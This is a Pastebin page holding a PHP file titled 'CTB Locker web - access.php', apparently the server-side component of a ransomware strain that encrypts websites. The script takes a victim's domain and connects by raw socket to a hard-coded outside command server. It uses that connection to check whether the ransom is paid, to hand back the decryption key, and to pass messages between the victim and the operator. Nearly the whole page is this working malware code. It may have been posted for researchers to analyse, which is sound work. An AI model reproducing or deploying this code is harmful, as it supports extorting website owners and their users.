Advertisement
benkow_

CTB Locker web - access.php

Feb 24th, 2016
725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.49 KB | None | 0 0
  1.  <?php
  2. header("Access-Control-Allow-Origin: *");
  3. $debug = false;
  4. if (!isset($_POST["domain"])) exit(json_encode(array("status" => "not_payed")));
  5.  
  6. function secret_ok() {
  7.     $secret = substr(md5($_POST["domain"]), 8, 8);
  8.     if (!isset($_POST["secret"]) || strpos($_POST["secret"], $secret) === false) {
  9.         exit(json_encode(array("status" => "incorrect secret")));
  10.     }
  11.     return true;
  12. }
  13.  
  14. $dectest = md5("jnvsbkjsd".substr(md5($_POST["domain"]), 16, 8)."3j3j3j3");
  15. if (isset($_POST["decrypt"]) ||
  16.     ((isset($_POST["sendmsg"]) || isset($_POST["recvmsg"])) && secret_ok())) {
  17.     $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  18.     if ($sock === false) {
  19.         if ($debug) echo "socket_create(): ".socket_strerror(socket_last_error())."\n";
  20.         exit();
  21.     }
  22.  
  23.     $result = socket_connect($sock, "95.215.45.203", 9338);
  24.     if ($result === false) {
  25.         if ($debug) echo "socket_connect(): ($result) ".socket_strerror(socket_last_error($sock))."\n";
  26.         exit();
  27.     }
  28.    
  29.     if (isset($_POST["decrypt"])) {
  30.         $req = "vic";
  31.         socket_write($sock, $req, strlen($req));
  32.         $req = str_pad($_POST["domain"], 128);
  33.         socket_write($sock, $req, strlen($req));
  34.         $resp = socket_read($sock, 64);
  35.         if ($resp == "not_payed") {
  36.             echo json_encode(array("status" => "not_payed"));
  37.         } else {
  38.             echo json_encode(array("status" => "success", "decrypt" => $resp,
  39.                 "dectest" => $dectest,
  40.                 "secret" => substr(md5("djf33".$_POST["domain"]), 2, 10)));
  41.         }
  42.     } elseif (isset($_POST["sendmsg"])) {
  43.         $req = "snd";
  44.         socket_write($sock, $req, strlen($req));
  45.         $req = str_pad($_POST["domain"], 128);
  46.         socket_write($sock, $req, strlen($req));
  47.         $req = substr($_POST["msg"], 0, 2048);
  48.         socket_write($sock, $req, strlen($req));
  49.         echo json_encode(array("status" => "success"));
  50.     } elseif (isset($_POST["recvmsg"])) {
  51.         $req = "rcv";
  52.         socket_write($sock, $req, strlen($req));
  53.         $req = str_pad($_POST["domain"], 128);
  54.         socket_write($sock, $req, strlen($req));
  55.         $resp = socket_read($sock, 2048);
  56.         echo json_encode(array("status" => "success", "answer" => $resp));
  57.     }
  58.  
  59.     socket_close($sock);
  60. } elseif (isset($_POST["dectest"]) && secret_ok()) {
  61.     exit(json_encode(array(
  62.         "status" => "success", "dectest" => $dectest,
  63.         "secret" => substr(md5("djf33".$_POST["domain"]), 2, 10)))
  64.     );
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement